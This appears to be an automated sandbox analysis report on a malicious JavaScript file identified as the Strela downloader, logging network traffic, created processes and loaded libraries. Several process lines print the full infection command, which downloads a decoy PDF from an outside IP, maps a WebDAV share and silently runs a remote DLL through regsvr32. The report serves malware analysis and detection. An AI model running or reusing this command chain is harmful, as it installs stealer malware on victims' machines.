Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49770

Source: global traffic

TCP traffic: 192.168.2.11:49770 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.11:53272 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.11:49750 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1380193875.00000178C185A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1452856950.0000025F0B20C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453888269.0000025F0B21B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1451945376.0000025F0B23B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1452856950.0000025F0B21B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453888269.0000025F0B20C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453813496.0000025F0B1E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1453813496.0000025F0B1E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem_
Source: svchost.exe, 00000009.00000002.2666223312.000001FB95400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000009.00000003.1452658710.000001FB952E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6664, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1487427797195518826.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5492:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_njrqpb3n.wqa.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1487427797195518826.js

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1487427797195518826.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1632,i,15381475239559648438,13996178919531492773,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1632,i,15381475239559648438,13996178919531492773,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
